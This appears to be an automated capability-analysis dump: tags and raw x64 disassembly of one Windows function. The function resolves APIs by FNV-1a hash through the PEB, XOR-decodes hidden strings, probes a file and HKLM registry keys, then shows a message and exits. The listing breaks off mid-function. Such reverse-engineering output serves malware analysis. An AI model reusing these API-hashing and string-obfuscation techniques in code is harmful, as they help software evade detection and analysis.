Function at 0x14008cc90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x370
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1402930e8]
xor rax, rsp
mov qword [rbp + 0x300], rax
mov r10, qword [0x140293ec0]
test r10, r10
jne 0x14008ce96
mov rax, qword gs:[0x60]
xor r9d, r9d
mov edi, 0xbdcac9ce
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008cd4d
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008cd44
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008cd30
cmp edx, r9d
jne 0x14008ce76
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r11
cmp rbx, r11
je 0x14008ce76
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008ce76
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r11
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008cdc7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008cdb0
cmp edx, edi
je 0x14008cdd5
test r8d, r8d
jne 0x14008cd90
jmp 0x14008ce76
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x14008ce8f
lea rax, [r15 + rbx]
cmp r10, rax
jae 0x14008ce8f
movzx eax, byte [r10]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008ce3c
nop dword [rax + rax]
movsx eax, al
inc r10
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14008ce20
mov dword [rbp + 8], r9d
movzx eax, byte [r10 + 1]
inc r10
test al, al
je 0x14008ce6a
nop dword [rax + rax]
movsx eax, al
lea r10, [r10 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r10]
test al, al
jne 0x14008ce50
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008ce8c
cmp qword [rax + 0x30], 0
jne 0x14008cd00
xor r10d, r10d
mov qword [0x140293ec0], r10
movabs rax, 0x8638da1eb2bdc327
mov qword [rsp + 0x30], 0
mov qword [rbp], rax
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp]
movabs rsi, 0xdfb7d7fba4e4ae32
mov qword [rbp + 0xe0], rax
movabs rdi, 0xfe579848ee939f7b
movabs rax, 0x550a9d97426c8505
mov dword [rsp + 0x28], 0
mov qword [rbp], rax
movabs rbx, 0x1178f9c52b02ec48
mov rax, qword [rbp]
movabs r14, 0xa2efb33e9c8ad1ed
mov qword [rbp + 0xe8], rax
xor r9d, r9d
movabs rax, 0xa2efb33e9c8ad1a3
mov dword [rsp + 0x20], 3
mov qword [rbp], rax
mov edx, 0x80000000
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
lea r8d, [r9 + 7]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vzeroupper
call r10
cmp rax, 0xffffffffffffffff
je 0x14008d19a
movabs rax, 0xfe38983aeee19f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x1178f9c52b02ec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp], rbx
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xfe22982beef69f28
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x1101f9b12b6bec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa280b3579cfcd1cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdfded78fa485ae5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x87dee56c0072e490
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xbb72132c6e926da9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x7aa1a6466e2ff045
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x663f067fd22b4e05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x7a81a6226e4af031
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x663f067fd21a4e26
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
mov qword [rbp + 0x1f8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x60], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [0x140293eb8]
test rdx, rdx
jne 0x14008d38c
mov rax, qword gs:[0x60]
xor r9d, r9d
mov edi, 0x53b2070f
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008d21d
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008d214
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008d200
cmp edx, r9d
jne 0x14008d345
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x14008d345
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008d345
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008d297
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008d280
cmp edx, edi
je 0x14008d2a5
test r8d, r8d
jne 0x14008d260
jmp 0x14008d345
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rbx
jbe 0x14008d35d
lea rax, [r15 + rbx]
cmp rdx, rax
jae 0x14008d35d
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008d30b
nop dword [rax]
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14008d2f0
mov dword [rbp + 8], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x14008d339
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x14008d320
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r12]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008d35b
cmp qword [rax + 0x30], 0
jne 0x14008d1d0
xor edx, edx
mov qword [0x140293eb8], rdx
movabs rbx, 0x1178f9c52b02ec48
movabs rdi, 0xfe579848ee939f7b
movabs rsi, 0xdfb7d7fba4e4ae32
movabs r14, 0xa2efb33e9c8ad1ed
movabs rax, 0x9538f70096fcdd2d
lea rcx, [rbp + 0xa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x1178f9c5476e8866
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x208], rax
pxor xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0xa0], xmm0
call rdx
test rax, rax
je 0x14008d5f8
movabs rax, 0xfe38983aeee19f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x1178f9c52b02ec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp], rbx
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xfe22982beef69f28
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x1101f9b12b6bec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa280b3579cfcd1cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdfded78fa485ae5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x87dee56c0072e490
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xbb72132c6e926da9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x7aa1a6466e2ff045
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x663f067fd22b4e05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x7a81a6226e4af031
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x663f067fd21a4e26
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
mov qword [rbp + 0x1f8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x60], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r10, qword [0x140293ec8]
mov r12d, 0xdf6a51c
mov qword [rbp + 0x1a0], 0
test r10, r10
jne 0x14008d7ea
mov rax, qword gs:[0x60]
xor r9d, r9d
mov edi, r12d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008d68d
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008d684
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008d670
cmp edx, r9d
jne 0x14008d7b6
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r11
cmp rbx, r11
je 0x14008d7b6
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008d7b6
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r11
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008d707
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008d6f0
cmp edx, edi
je 0x14008d715
test r8d, r8d
jne 0x14008d6d0
jmp 0x14008d7b6
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x14008d7cf
lea rax, [rbx + r15]
cmp r10, rax
jae 0x14008d7cf
movzx eax, byte [r10]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008d77c
nop dword [rax + rax]
movsx eax, al
inc r10
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14008d760
mov dword [rbp + 8], r9d
movzx eax, byte [r10 + 1]
inc r10
test al, al
je 0x14008d7aa
nop dword [rax + rax]
movsx eax, al
lea r10, [r10 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r10]
test al, al
jne 0x14008d790
mov dword [rbp + 0xc], ecx
mov rdi, qword [rbp + 8]
mov rsi, qword [r13]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x14008d7cc
cmp qword [rax + 0x30], 0
jne 0x14008d640
xor r10d, r10d
mov qword [0x140293ec8], r10
movabs rbx, 0x1178f9c52b02ec48
movabs rdi, 0xfe579848ee939f7b
movabs rax, 0xbb05d91fbad5d028
lea rdx, [rbp + 0x160]
mov qword [rbp], rax
movabs r13, 0x87bae54c001ce4ff
mov rax, qword [rbp]
mov r9d, 0x20019
mov qword [rbp + 0x160], rax
xor r8d, r8d
movabs rax, 0x4d1d95a64a70a314
mov rcx, 0xffffffff80000002
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0xe083d24be8f8b8bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0xabc4b28ee3c4d65d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xe8d391256478a5df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xbb1113496ee61ea2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x180]
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
mov qword [rbp + 0x268], rax
lea rax, [rbp + 0x1a0]
vpxor xmm2, xmm2, xmmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqa xmmword [rbp + 0x180], xmm2
mov qword [rsp + 0x20], rax
vzeroupper
call r10
test eax, eax
jne 0x14008dd5d
mov rcx, qword [rbp + 0x1a0]
test rcx, rcx
je 0x14008dd5d
mov rdx, qword [0x140293eb0]
test rdx, rdx
jne 0x14008db5f
mov rax, qword gs:[0x60]
xor r9d, r9d
mov r11d, 0x1242154a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008d9fd
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008d9f4
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008d9e0
cmp edx, r9d
jne 0x14008db25
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r10
cmp rdi, r10
je 0x14008db25
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14008db25
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008da77
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008da60
cmp edx, r11d
je 0x14008da86
test r8d, r8d
jne 0x14008da40
jmp 0x14008db25
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov edx, dword [rcx + rdx*4]
add rdx, r10
cmp rdx, rdi
jbe 0x14008db3d
lea rax, [r15 + rdi]
cmp rdx, rax
jae 0x14008db3d
movzx eax, byte [rdx]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008daeb
nop word [rax + rax]
movsx eax, al
inc rdx
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14008dad0
mov dword [rbp + 8], r9d
movzx eax, byte [rdx + 1]
inc rdx
test al, al
je 0x14008db19
nop word [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
test al, al
jne 0x14008db00
mov dword [rbp + 0xc], ecx
mov r11, qword [rbp + 8]
mov rsi, qword [r12]
shr r11, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14008db3b
cmp qword [rax + 0x30], 0
jne 0x14008d9b0
xor edx, edx
mov rcx, qword [rbp + 0x1a0]
movabs rbx, 0x1178f9c52b02ec48
mov qword [0x140293eb0], rdx
movabs rdi, 0xfe579848ee939f7b
call rdx
movabs rax, 0xfe38983aeee19f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x1178f9c52b02ec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp], rbx
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xfe22982beef69f28
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x1101f9b12b6bec3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa280b3579cfcd1cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdfded78fa485ae5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x87dee56c0072e490
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xbb72132c6e926da9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x7aa1a6466e2ff045
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x663f067fd22b4e05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x7a81a6226e4af031
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x663f067fd21a4e26
mov qword [rbp], rax
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
mov qword [rbp + 0x1f8], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x60], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r10, qword [0x140293ec8]
mov qword [rbp + 0x1a0], 0
test r10, r10
jne 0x14008df49
mov rax, qword gs:[0x60]
xor r9d, r9d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
movups xmmword [rbp + 0x10], xmm0
sub ax, 8
test r9d, r9d
je 0x14008dded
mov rcx, qword [rbp + 0x18]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14008dde4
nop dword [rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14008ddd0
cmp edx, r9d
jne 0x14008df15
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r11
cmp rbx, r11
je 0x14008df15
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14008df15
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rsi + r8*4]
mov ecx, dword [rax + r11]
add rcx, r11
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14008de67
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14008de50
cmp edx, r12d
je 0x14008de76
test r8d, r8d
jne 0x14008de30
jmp 0x14008df15
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rbx
jbe 0x14008df2e
lea rax, [r14 + rbx]
cmp r10, rax
jae 0x14008df2e
movzx eax, byte [r10]
mov r9d, 0x811c9dc5
mov dword [rbp + 8], r9d
mov ecx, r9d
mov dword [rbp + 0xc], ecx
cmp al, 0x2e
je 0x14008dedc
nop dword [rax]
movsx eax, al
inc r10
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x14008dec0
mov dword [rbp + 8], r9d
movzx eax, byte [r10 + 1]
inc r10
test al, al
je 0x14008df0a
nop dword [rax + rax]
movsx eax, al
lea r10, [r10 + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [r10]
test al, al
jne 0x14008def0
mov dword [rbp + 0xc], ecx
mov r12, qword [rbp + 8]
mov rdi, qword [r15]
shr r12, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14008df2b
cmp qword [rax + 0x30], 0
jne 0x14008dda0
xor r10d, r10d
mov qword [0x140293ec8], r10
movabs rbx, 0x1178f9c52b02ec48
movabs rdi, 0xfe579848ee939f7b
movabs rax, 0xbb05d91faac1de33
lea rdx, [rbp + 0x100]
mov qword [rbp], rax
mov r9d, 0x20019
mov rax, qword [rbp]
xor r8d, r8d
mov qword [rbp + 0x100], rax
mov rcx, 0xffffffff80000002
movabs rax, 0x4131ab867847a814
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xd196e062d2c598b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xdfb7d7fba489cb46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
